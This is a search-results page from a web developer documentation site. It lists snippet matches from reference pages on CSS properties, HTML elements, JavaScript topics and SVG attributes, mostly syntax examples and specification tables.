formal definition initial valueas each of the properties of the shorthand:text-decoration-color: currentcolortext-decoration-style: solidtext-decoration-line: noneapplies toall elements.
... css text decoration module level 3the definition of 'text-decoration' in that specification.
... css level 2 (revision 1)the definition of 'text-decoration' in that specification.
...And 2 more matches
text-emphasis - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: text-emphasis-color text-emphasis-style syntax /* initial value */ text-emphasis: none; /* no emphasis marks */ /* <string> value */ text-emphasis: 'x'; text-emphasis: '点'; text-emphasis: '\25b2'; text-emphasis: '*' #555; text-emphasis: 'foo'; /* should not use.
... it may be computed to or rendered as 'f' only */ /* keywords value */ text-emphasis: filled; text-emphasis: open; text-emphasis: filled sesame; text-emphasis: open sesame; /* keywords value combined with a color */ text-emphasis: filled sesame #555; /* global values */ text-emphasis: inherit; text-emphasis: initial; text-emphasis: unset; values none no emphasis marks.
... formal definition initial valueas each of the properties of the shorthand:text-emphasis-style: nonetext-emphasis-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:text-emphasis-style: as specifiedtext-emphasis-color: computed coloranimation typeas each of the properties of the shorthand:text-emphasis-color: a colortext-emphasis-style: discrete formal ...
...And 2 more matches
text-rendering - CSS: Cascading Style Sheets
/* keyword values */ text-rendering: auto; text-rendering: optimizespeed; text-rendering: optimizelegibility; text-rendering: geometricprecision; /* global values */ text-rendering: inherit; text-rendering: initial; text-rendering: unset; note: the text-rendering property is an svg property that is not defined in any css standard.
... formal definition initial valueautoapplies totext elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | optimizespeed | optimizelegibility | geometricprecision examples automatic application of optimizelegibility this demonstrates how optimizelegibility is used by browsers automatically when the font-size is smaller than 20px.
... class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
...And 2 more matches
<time> - CSS: Cascading Style Sheets
WebCSStime
specifications specification status comment css values and units module level 4the definition of '<time>' in that specification.
... editor's draft css values and units module level 3the definition of '<time>' in that specification.
... candidate recommendation normative definition of s and ms.
...And 2 more matches
top - CSS: Cascading Style Sheets
WebCSStop
syntax /* <length> values */ top: 3px; top: 2.4em; /* <percentage>s of the height of the containing block */ top: 10%; /* keyword value */ top: auto; /* global values */ top: inherit; top: initial; top: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the top edge of the containing block.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body { background: beige; } div { ...
...position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%; background: gold; border: 1px solid blue; } <div>the size of this content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
...And 2 more matches
transform-origin - CSS: Cascading Style Sheets
this means, this definition transform-origin: -100% 50%; transform: rotate(45deg); results in the same transformation as transform-origin: 0 0; transform: translate(-100%, 50%) rotate(45deg) translate(100%, -50%); by default, the origin of a transform is center.
...ght; /* x-offset | y-offset | z-offset */ transform-origin: 2px 30% 10px; /* x-offset-keyword | y-offset | z-offset */ transform-origin: left 5px -3px; /* x-offset-keyword | y-offset-keyword | z-offset */ transform-origin: right bottom 2cm; /* y-offset-keyword | x-offset-keyword | z-offset */ transform-origin: bottom right 2cm; /* global values */ transform-origin: inherit; transform-origin: initial; transform-origin: unset; the transform-origin property may be specified using one, two, or three values, where each value represents an offset.
... offsets that are not explicitly defined are reset to their corresponding initial values.
...And 2 more matches
transform - CSS: Cascading Style Sheets
WebCSStransform
ransform: scale3d(2.5, 1.2, 0.3); transform: scalex(2); transform: scaley(0.5); transform: scalez(0.3); transform: skew(30deg, 20deg); transform: skewx(30deg); transform: skewy(1.07rad); /* multiple function values */ transform: translatex(10px) rotate(10deg) translatey(5px); transform: perspective(500px) translate(10px, 0, 20px) rotatey(3deg); /* global values */ transform: inherit; transform: initial; transform: unset; the transform property may be specified as either the keyword value none or as one or more <transform-function> values.
... find out more: mdn understanding wcag, guideline 2.3 explanations understanding success criterion 2.3.3 | w3c understanding wcag 2.1 formal definition initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking contextyes formal syntax none | <transform-list>where <transform-list> = <transform-function>+where <transform-function> = <matrix()> | <translate()> | <translate...
... specifications specification status comment css transforms level 2the definition of 'transform' in that specification.
...And 2 more matches
transition-timing-function - CSS: Cascading Style Sheets
0, jump-end); transition-timing-function: steps(20, jump-none); transition-timing-function: steps(5, jump-both); transition-timing-function: steps(6, start); transition-timing-function: steps(8, end); /* multiple timing functions */ transition-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ transition-timing-function: inherit; transition-timing-function: initial; transition-timing-function: unset; values <timing-function> each <timing-function> represents the timing function to link to the corresponding property to transition, as defined in transition-property.
... formal definition initial valueeaseapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definit...
...ion_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end examples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </...
...And 2 more matches
transition - CSS: Cascading Style Sheets
n-right 4s 1s; /* property name | duration | timing function */ transition: margin-right 4s ease-in-out; /* property name | duration | timing function | delay */ transition: margin-right 4s ease-in-out 1s; /* apply to 2 properties */ transition: margin-right 4s, color 1s; /* apply to all changed properties */ transition: all 0.5s ease-out; /* global values */ transition: inherit; transition: initial; transition: unset; the transition property is specified as one or more single-property transitions, separated by commas.
... formal definition initial valueas each of the properties of the shorthand:transition-delay: 0stransition-duration: 0stransition-property: alltransition-timing-function: easeapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:transition-delay: as specifiedtransition-duration: as specifiedtransition-property: as specifiedtransition-timin...
...ax <single-transition>#where <single-transition> = [ none | <single-transition-property> ] | <time> | <timing-function> | <time>where <single-transition-property> = all | <custom-ident><timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<i...
...And 2 more matches
unset - CSS: Cascading Style Sheets
WebCSSunset
the unset css keyword resets a property to its inherited value if the property naturally inherits from its parent, and to its initial value if not.
... in other words, it behaves like the inherit keyword in the first case, when the property is an inherited property, and like the initial keyword in the second case, when the property is a non-inherited property.
...class="foo"> <p>this text is also red.</p> </div> <div class="bar"> <p>this text is green (default inherited value).</p> </div> css .foo { color: blue; } .bar { color: green; } p { color: red; } .bar p { color: unset; } result border html <p>this text has a red border.</p> <div> <p>this text has a red border.</p> </div> <div class="bar"> <p>this text has a black border (initial default, not inherited).</p> </div> css div { border: 1px solid green; } p { border: 1px solid red; } .bar p { border-color: unset; } result specifications specification status comment css cascading and inheritance level 4the definition of 'unset' in that specification.
...And 2 more matches
user-select - CSS: Cascading Style Sheets
/* keyword values */ user-select: none; user-select: auto; user-select: text; user-select: contain; user-select: all; /* global values */ user-select: inherit; user-select: initial; user-select: unset; /* mozilla-specific values */ -moz-user-select: none; -moz-user-select: text; -moz-user-select: all; /* webkit-specific values */ -webkit-user-select: none; -webkit-user-select: text; -webkit-user-select: all; /* doesn't work in safari; use only "none" or "text", or else it will allow typing in the <html> container */ /* microsoft-specific values */ -ms-user-select: none; -ms-user-sel...
...ect: text; -ms-user-select: element; note: user-select is not an inherited property, though the initial auto value makes it behave like it is inherited most of the time.
... formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | text | none | contain | all examples html <p>you should be able to select this text.</p> <p class="unselectable">hey, you can't select this text!</p> <p class="all">clicking once will select all of this text.</p> css .unselectable { -moz-user-select: none; -webki...
...And 2 more matches
vertical-align - CSS: Cascading Style Sheets
syntax /* keyword values */ vertical-align: baseline; vertical-align: sub; vertical-align: super; vertical-align: text-top; vertical-align: text-bottom; vertical-align: middle; vertical-align: top; vertical-align: bottom; /* <length> values */ vertical-align: 10em; vertical-align: 4px; /* <percentage> values */ vertical-align: 20%; /* global values */ vertical-align: inherit; vertical-align: initial; vertical-align: unset; the vertical-align property is specified as one of the values listed below.
... formal definition initial valuebaselineapplies toinline-level and table-cell elements.
...<img class="middle" src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a middle alignment.</div> css img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'vertical-align' in that specification.
...And 2 more matches
visibility - CSS: Cascading Style Sheets
syntax /* keyword values */ visibility: visible; visibility: hidden; visibility: collapse; /* global values */ visibility: inherit; visibility: initial; visibility: unset; the visibility property is specified as one of the keyword values listed below.
... formal definition initial valuevisibleapplies toall elementsinheritedyescomputed valueas specifiedanimation typea visibility formal syntax visible | hidden | collapse examples basic example html <p class="visible">the first paragraph is visible.</p> <p class="not-visible">the second paragraph is not visible.</p> <p class="visible">the third paragraph is visible.
...</td> </tr> <tr class="collapse"> <td>2.1</td> <td>2.2</td> <td>2.3</td> </tr> <tr> <td>3.1</td> <td>3.2</td> <td>3.3</td> </tr> </table> css .collapse { visibility: collapse; } table { border: 1px solid red; } td { border: 1px solid gray; } specifications specification status comment css flexible box layout modulethe definition of 'visibility' in that specification.
...And 2 more matches
white-space - CSS: Cascading Style Sheets
syntax /* keyword values */ white-space: normal; white-space: nowrap; white-space: pre; white-space: pre-wrap; white-space: pre-line; white-space: break-spaces; /* global values */ white-space: inherit; white-space: initial; white-space: unset; the white-space property is specified as a single keyword chosen from the list of values below.
... end-of-line spaces normal collapse collapse wrap remove nowrap collapse collapse no wrap remove pre preserve preserve no wrap preserve pre-wrap preserve preserve wrap hang pre-line preserve collapse wrap remove break-spaces preserve preserve wrap wrap formal definition initial valuenormalapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | pre | nowrap | pre-wrap | pre-line | break-spaces examples basic example code { white-space: pre; } line breaks inside <pre> elements pre { word-wrap: break-word; /* ie 5.5-7 */ white-space: pre-wrap; /* modern browsers */ } in action html <di...
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status comment css text module level 3the definition of 'white-space' in that specification.
...And 2 more matches
will-change - CSS: Cascading Style Sheets
/* keyword values */ will-change: auto; will-change: scroll-position; will-change: contents; will-change: transform; /* example of <custom-ident> */ will-change: opacity; /* example of <custom-ident> */ will-change: left, top; /* example of two <animateable-feature> */ /* global values */ will-change: inherit; will-change: initial; will-change: unset; proper usage of this property can be a bit tricky: don't apply will-change to too many elements.
...it cannot be one of the following values: unset, initial, inherit, will-change, auto, scroll-position, or contents.
... .slide { will-change: transform; } formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <animateable-feature>#where <animateable-feature> = scroll-position | contents | <custom-ident> examples via script this is an example showing how to apply the will-change property through scripting, which is probably what you should be doing in most cases.
...And 2 more matches
writing-mode - CSS: Cascading Style Sheets
syntax /* keyword values */ writing-mode: horizontal-tb; writing-mode: vertical-rl; writing-mode: vertical-lr; /* global values */ writing-mode: inherit; writing-mode: initial; writing-mode: unset; the writing-mode property is specified as one of the values listed below.
... formal definition initial valuehorizontal-tbapplies toall elements except table row groups, table column groups, table rows, and table columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax horizontal-tb | vertical-rl | vertical-lr | sideways-rl | sideways-lr examples using multiple writing modes this example demonstrates all of the writing modes, showing each with text in vario...
...ting-mode: sideways-lr; } .example.text5 span, .example.text5 { writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; } result this image shows what the output should look like, in case your browser's support for writing-mode is incomplete: specifications specification status comment css writing modes level 4the definition of 'writing-mode' in that specification.
...And 2 more matches
Event reference
audioprocess audioprocessingevent web audio apithe definition of 'audioprocess' in that specification.
... complete offlineaudiocompletionevent web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
... languagechange event html 5.1the definition of 'navigatorlanguage.languages' in that specification.
...And 2 more matches
<dt>: The Description Term element - HTML: Hypertext Markup Language
WebHTMLElementdt
the html <dt> element specifies a term in a description or definition list, and as such must be used inside a <dl> element.
... the subsequent <dd> (description details) element provides the definition or other related text associated with the term specified using <dt>.
... specifications specification status comment html living standardthe definition of '<dt>' in that specification.
...And 2 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
allow-top-navigation-by-user-activation: lets the resource navigate the top-level browsing context, but only if initiated by a user gesture.
... specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... html living standardthe definition of '<iframe>' in that specification.
...And 2 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
allowed values: top equivalent to vertical-align: top or vertical-align: text-top middle equivalent to vertical-align: -moz-middle-with-baseline bottom the default, equivalent to vertical-align: unset or vertical-align: initial left equivalent to float: left right equivalent to float: right border the width of a border around the image.
...enuitemcheckbox menuitemradio option progressbar scrollbar separator slider switch tab treeitem with empty alt attribute, none or presentation with no alt attribute, no role permitted dom interface htmlimageelement specifications specification status comment referrer policythe definition of 'referrer attribute' in that specification.
... html living standardthe definition of '<img>' in that specification.
...And 2 more matches
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmllabelelement specifications specification status comment html living standardthe definition of '<label>' in that specification.
... living standard html5the definition of '<label>' in that specification.
... recommendation html 4.01 specificationthe definition of '<label>' in that specification.
...And 2 more matches
<option>: The HTML Option element - HTML: Hypertext Markup Language
WebHTMLElementoption
selected if present, this boolean attribute indicates that the option is initially selected.
... specifications specification status comment html living standardthe definition of '<option>' in that specification.
... living standard html5the definition of '<option>' in that specification.
...And 2 more matches
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
also, the title is the initial "hook" by which you grab the attention of readers glancing at the search results page.
...use a descriptive phrase, or a term-definition pairing for glossary or reference-style pages.
... example <title>2 errors - your order - blue house chinese food - foodyum: online takeout today!</title> mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of '<title>' in that specification.
...And 2 more matches
accesskey - HTML: Hypertext Markup Language
webaim: keyboard accessibility - accesskey specifications specification status comment html 5.2the definition of 'accesskey' in that specification.
... html living standardthe definition of 'accesskey' in that specification.
... html 5.1the definition of 'accesskey' in that specification.
...And 2 more matches
contenteditable - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'contenteditable' in that specification.
... living standard no change from latest snapshot, html 5.2 html 5.2the definition of 'contenteditable' in that specification.
... recommendation snapshot of html living standard, no change from html 5.1 html 5.1the definition of 'contenteditable' in that specification.
...And 2 more matches
Global attributes - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'global attributes' in that specification.
... html 5.2the definition of 'global attributes' in that specification.
... html 5.1the definition of 'global attributes' in that specification.
...And 2 more matches
CSP: navigate-to - HTTP
the http content-security-policy (csp) navigate-to directive restricts the urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... this is an enforcement on what navigations this document initiates not on what this document is allowed to navigate to.
...use this sparingly and definitely not for scripts.
...And 2 more matches
JavaScript data types and data structures - JavaScript
in addition to representing floating-point numbers, the number type has three symbolic values: +infinity, -infinity, and nan ("not a number").
... to check for the largest available value or smallest available value within ±infinity, you can use the constants number.max_value or number.min_value.
...however, you are able to notice this when you divide by zero: > 42 / +0 infinity > 42 / -0 -infinity although a number often represents only its value, javascript provides binary (bitwise) operators.
...And 2 more matches
Loops and iteration - JavaScript
a for statement looks as follows: for ([initialexpression]; [conditionexpression]; [incrementexpression]) statement when a for loop executes, the following occurs: the initializing expression initialexpression, if any, is executed.
... this expression usually initializes one or more loop counters, but the syntax allows an expression of any degree of complexity.
...the for statement declares the variable i and initializes it to 0.
...And 2 more matches
Numbers and dates - JavaScript
in addition to being able to represent floating-point numbers, the number type has three symbolic values: +infinity, -infinity, and nan (not-a-number).
... 0xfffffffffffffffff // 295147905179352830000 0x123456789abcdef // 81985529216486900 0xa // 10 exponentiation 1e3 // 1000 2e6 // 2000000 0.1e2 // 10 number object the built-in number object has properties for numerical constants, such as maximum value, not-a-number, and infinity.
... you cannot change the values of these properties and you use them as follows: var biggestnum = number.max_value; var smallestnum = number.min_value; var infinitenum = number.positive_infinity; var neginfinitenum = number.negative_infinity; var notanum = number.nan; you always refer to a property of the predefined number object as shown above, and not as a property of a number object you create yourself.
...And 2 more matches
constructor - JavaScript
the constructor method is a special method of a class for creating and initializing an object of that class.
...} description a constructor enables you to provide any custom initialization that must be done before any other methods can be called on an instantiated object.
... console.log(error.printcustomermessage()); } else { console.log('unknown error', error); throw error; } } the validationerror class doesn't need an explicit constructor, because it doesn't need to do any custom initialization.
...And 2 more matches
JSON.stringify() - JavaScript
the numbers infinity and nan, as well as the value null, are all considered null.
... examples using json.stringify json.stringify({}); // '{}' json.stringify(true); // 'true' json.stringify('foo'); // '"foo"' json.stringify([1, 'false', false]); // '[1,"false",false]' json.stringify([nan, null, infinity]); // '[null,null,null]' json.stringify({ x: 5 }); // '{"x":5}' json.stringify(new date(2006, 0, 2, 15, 4, 5)) // '"2006-01-02t15:04:05.000z"' json.stringify({ x: 5, y: 6 }); // '{"x":5,"y":6}' json.stringify([new number(3), new string('false'), new boolean(false)]); // '[3,"false",false]' // string-keyed array elements are not enumerable and make no sense in json let a = ['foo',...
... initially, the replacer function is called with an empty string as key representing the object being stringified.
...And 2 more matches
WebAssembly.Table() constructor - JavaScript
initial the initial number of elements of the webassembly table.
... if maximum is specified and is smaller than initial, a rangeerror is thrown.
... examples creating a new webassembly table instance the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 elements.
...And 2 more matches
The "codecs" parameter in common media types - Web media technologies
58 00 main profile (mp) the profile used for standard-definition digital television being broadcast in mpeg-4 format.
... not used for high-definition television broadcasts.
...bt.709 is the standard for high definition (hd) television; srgb is the most common color space used for computer displays.
...And 2 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning.
... the website is slower on an initial visit, but can be faster to navigate.
...ml lang="en"> <head> <meta charset="utf-8"> <title>js13kgames a-frame entries</title> <meta name="description" content="a list of a-frame entries submitted to the js13kgames 2017 competition, used as an example for the mdn articles about progressive web apps."> <meta name="author" content="end3r"> <meta name="theme-color" content="#b12a34"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt...
...And 2 more matches
alignment-baseline - SVG: Scalable Vector Graphics
svg 2 introduces some changes to the definition of this property.
... specifications specification status comment css inline layoutthe definition of 'alignment-baseline' in that specification.
... working draft no change scalable vector graphics (svg) 2the definition of 'alignment-baseline' in that specification.
...And 2 more matches
baseline-shift - SVG: Scalable Vector Graphics
specifications specification status comment css inline layoutthe definition of 'alignment-baseline' in that specification.
... scalable vector graphics (svg) 2the definition of 'alignment-baseline' in that specification.
... candidate recommendation refers to the definition in css inline layout and notes that vertical-align should be preferred.
...And 2 more matches
color-interpolation-filters - SVG: Scalable Vector Graphics
color-interpolation-filters has a different initial value than color-interpolation.
... color-interpolation-filters has an initial value of linearrgb, whereas color-interpolation has an initial value of srgb.
... specifications specification status comment filter effects module level 1the definition of 'color-interpolation' in that specification.
...And 2 more matches
dominant-baseline - SVG: Scalable Vector Graphics
when the initial value, auto, would give an undesired result, this property can be used to explicitly set the desired scaled-baseline-table.
...0" r="3" fill="red" /> <circle cx="60" cy="170" r="3" fill="red" /> <circle cx="60" cy="220" r="3" fill="red" /> <circle cx="60" cy="270" r="3" fill="red" /> <style><![cdata[ text { font: bold 30px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'dominant-baseline' in that specification.
... css inline layoutthe definition of 'dominant-baseline' in that specification.
...And 2 more matches
keyTimes - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <number> [ ; <number> ]* ;?
... if the duration of the animation is indefinite, any keytimes specification will be ignored.
... specifications specification status comment svg animations level 2the definition of 'keytimes' in that specification.
...And 2 more matches
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
specifications specification status comment css color module level 4the definition of 'opacity' in that specification.
... css color module level 3the definition of 'opacity' in that specification.
... scalable vector graphics (svg) 2the definition of 'opacity' in that specification.
...And 2 more matches
operator - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'operator for <femorphology>' in that specification.
... working draft no change filter effects module level 1the definition of 'operator for <fecomposite>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'operator for <femorphology>' in that specification.
...And 2 more matches
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
t value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
... candidate recommendation definition for <polygon> scalable vector graphics (svg) 2the definition of 'points' in that specification.
... candidate recommendation definition for <polyline> scalable vector graphics (svg) 1.1 (second edition)the definition of 'points' in that specification.
...And 2 more matches
primitiveUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that any length values within the filter definitions represent values in the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
... objectboundingbox this value indicates that any length values within the filter definitions represent fractions or percentages of the bounding box on the referencing element.
... specifications specification status comment filter effects module level 1the definition of 'primitiveunits' in that specification.
...And 2 more matches
r - SVG: Scalable Vector Graphics
WebSVGAttributer
value <length> | <percentage> default value 50% animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'r' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'r' in that specification.
... candidate recommendation definition for svg2 paint servers <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'r' in that specification.
...And 2 more matches
repeatCount - SVG: Scalable Vector Graphics
svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the number of iterations.
... indefinite this value indicates that the animation will be repeated indefinitely (i.e.
... specifications specification status comment svg animations level 2the definition of 'repeatcount' in that specification.
...And 2 more matches
repeatDur - SVG: Scalable Vector Graphics
dy, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies the duration in presentation time to repeat the animation.
... indefinite this value indicates that the animation will be repeated indefinitely (i.e.
... specifications specification status comment svg animations level 2the definition of 'repeatdur' in that specification.
...And 2 more matches
specularExponent - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularexponent for <fespecularlighting>' in that specification.
... working draft no change filter effects module level 1the definition of 'specularexponent for <fespotlight>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexponent for <fespecularlighting>' in that specification.
...And 2 more matches
surfaceScale - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'surfacescale for <fediffuselighting>' in that specification.
... working draft no change filter effects module level 1the definition of 'surfacescale for <fespecularlighting>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'surfacescale for <fediffuselighting>' in that specification.
...And 2 more matches
text-decoration - SVG: Scalable Vector Graphics
specifications specification status comment css text decoration module level 3the definition of 'text-decoration' in that specification.
... scalable vector graphics (svg) 2the definition of 'text-decoration' in that specification.
... candidate recommendation mainly refers to the definition in css text decoration 3 turning the property into a shorthand for text-decoration-line and text-decoration-style.
...And 2 more matches
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
specifications specification status comment svg animations level 2the definition of 'to for <set>' in that specification.
... editor's draft no change svg animations level 2the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'to for <set>' in that specification.
...And 2 more matches
values - SVG: Scalable Vector Graphics
WebSVGAttributevalues
specifications specification status comment filter effects module level 1the definition of 'values for <fecolormatrix>' in that specification.
... working draft no change svg animations level 2the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'values for <fecolormatrix>' in that specification.
...And 2 more matches
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification.
...And 2 more matches
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification.
...And 2 more matches
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
--> <lineargradient y1="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y1' in that specification.
...And 2 more matches
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
--> <lineargradient y2="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y2' in that specification.
